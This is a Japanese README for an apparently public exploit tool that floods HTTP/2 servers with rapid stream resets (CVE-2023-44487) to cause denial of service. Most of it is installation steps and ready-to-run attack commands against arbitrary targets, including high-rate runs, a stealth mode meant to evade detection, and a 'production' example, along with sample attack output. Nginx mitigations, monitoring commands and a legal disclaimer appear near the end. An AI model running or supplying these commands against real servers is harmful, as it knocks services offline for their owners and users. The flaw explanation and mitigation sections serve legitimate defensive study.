CVE-2023-44487 HTTP/2 DoS ラピッドリセットエクスプロイト
プロフェッショナルエディション v1.0.1 | 著者: Sudeepa Wanigarathna
-orange.svg)
目次
概要
CVE-2023-44487(HTTP/2 ラピッドリセット脆弱性)向けのプロフェッショナルグレードの評価フレームワークです。このツールは、セキュリティ専門家が近年公表された中でも最も影響力の大きい HTTP/2 DoS の 1 つに対して、システムのテストと検証を行うのに役立ちます。
HTTP/2 ストリームを高速に作成・リセットすることで、サーバーリソースを枯渇させ、サービス拒否(DoS)状態を引き起こす仕組みを実証します。
主な特徴の概要
- マルチ接続攻撃エンジン — 同時 HTTP/2 接続
- 適応型レート制御 — 最大の効果を得るための動的調整
- ステルスモード — ランダム化されたヘッダーと接続ローテーション
- 包括的なレポート — リスク評価付き JSON/CSV
- Docker サポート — コンテナ化されたデプロイ
- リアルタイムモニタリング — 攻撃メトリクスと進捗状況のライブ表示
- プロフェッショナルロギング — ファイルロギング付きのカラーコンソール出力
| 使用例 | 結果 |
|---|
 |  |
脆弱性の詳細
CVE-2023-44487: HTTP/2 ラピッドリセット攻撃
技術概要
この脆弱性は、HTTP/2 プロトコルのストリーム管理メカニズムを悪用します:
- ストリーム作成 — クライアントが HEADERS フレームを送信して新しいストリームを作成する
- 即時リセット — クライアントが直ちに RST_STREAM フレームを送信する
- サーバー処理 — サーバーは両方のフレームを処理する必要があり、リソースを消費する
- リソース枯渇 — このサイクルの繰り返しがサーバーリソースを圧倒する
影響
- HTTP/2 サーバー上のリソース枯渇
- 潜在的なサービス拒否(DoS)
- ロードバランサー、プロキシ、CDN に影響を与える可能性がある
- 認証や特別な権限は不要
特徴
コア機能
高度な機能
- プロキシサポート — 拡張可能なプロキシ設定
- 接続プーリング — 効率的な接続管理
- エラーリカバリ — 接続障害のグレースフルな処理
- パフォーマンスチューニング — さまざまなシナリオに対応する設定可能なオプション
- CI/CD 統合 — 自動化されたセキュリティテストに適している
要件
システム要件
依存関係
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
インストール
1. クイックインストール
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. 仮想環境(推奨)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Docker インストール
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. 手動インストール
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
クイックスタート
基本的な使用方法
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
クイックテスト(5秒)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
フル評価(60秒)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
使用方法
コマンドラインオプション
ターゲット設定
攻撃設定
詳細オプション
レポート
設定オプション
上記の CLI フラグを使用して、同時実行数、ストリーム量、実行時間、レポートを調整します。初期検証では低い -c / -s / -d 値を推奨し、ストレステストを許可されたシステムでのみスケールアップしてください。
Docker サポート
イメージのビルド
docker build -t cve-2023-44487-exploit .
基本評価の実行
docker run --rm cve-2023-44487-exploit target.com
カスタムパラメータでの実行
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
結果をローカルに保存
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
インタラクティブモード
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
使用例
1. 基本的な HTTPS 評価
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. HTTP 評価(SSL なし)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. 高性能ラボ実行
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. ステルスモード
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. クイック検証テスト
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. CSV レポートの生成
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. 検証のスキップ
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. 承認済み本番環境テスト
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
結果の解釈
出力メトリクス
リスク評価レベル
出力例
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
セキュリティ推奨事項
システム管理者向け
直ちに実施すべき対策
-
セキュリティパッチの適用
- 最新の HTTP/2 実装に更新する
- ベンダー固有のセキュリティパッチを適用する
- ロードバランサーとプロキシを更新する
-
レート制限の実装
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
接続数の制限
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
設定の堅牢化
| 設定 | 推奨事項 |
|---|
| 最大同時ストリーム数 | 接続あたり 100〜200 に設定 |
| ストリームリセットレート | クライアントあたり <100/秒 に制限 |
| 接続制限 | IP あたり最大 50〜100 接続 |
| タイムアウト値 |
監視
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
推奨セキュリティ対策
法的免責事項
重要: このツールを使用する前に注意深くお読みください
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。
利用条件
このツールを使用することにより、以下を理解し、同意したものとみなされます:
- ターゲットシステムをテストするための明示的な書面による許可を持っていること
- この評価のリスクと潜在的な影響を理解していること
- 適用されるすべての法律および規制を遵守すること
- 自身の行動に対して全責任を負うこと
- このツールを不正な活動に使用しないこと
禁止されている使用
このツールを以下の目的で使用してはなりません:
- 不正なテストまたは攻撃
- 所有しておらず、テストの許可もないシステムへのサービス拒否
- 許可なく本番システムを妨害すること
- 金銭的損害を引き起こすこと
- 違法行為
免責条項
著者および貢献者は、このツールをいかなる保証もなく「現状のまま」提供します。このツールの使用は自己責任です。著者は、このツールの使用によって生じたいかなる損害や法的問題についても責任を負いません。
このツールの不正使用は、以下の法律に違反する可能性があります(これらに限りません):
- Computer Fraud and Abuse Act (CFAA) — 米国
- Computer Misuse Act — 英国
- General Data Protection Regulation (GDPR) — EU
- その他の関連する地域、国内、国際法
著者
Sudeepa Wanigarathna
- セキュリティリサーチャー & ペネトレーションテスター
- アプリケーションセキュリティおよびプロトコル脆弱性を専門
- GitHub
- LinkedIn
変更履歴
バージョン 1.0.1(現在)
connection_attempts 属性エラーを修正
- SSL/ALPN 検証を改善
- タイムアウト処理を追加
- エラーリカバリを強化
--skip-validation フラグを追加
- Docker サポートを改善
バージョン 1.0.0(初期)
- プロフェッショナルエディションの初回リリース
- マルチ接続攻撃エンジン
- 適応型レート制御
- ステルスモード
- 包括的なレポート
- Docker サポート
ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
謝辞
- HTTP/2 プロトコルチーム
- CVE-2023-44487 を特定したセキュリティリサーチャー
- オープンソースコミュニティ(
h2、aiohttp プロジェクト)
参考文献
サポート
問題や質問については:
クイックリファレンスカード
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
注意: システムをテストする前に、必ず適切な許可を取得してください。このツールを責任を持って倫理的に使用してください。
メンテナー: Sudeepa Wanigarathna | 最終更新: 2026年8月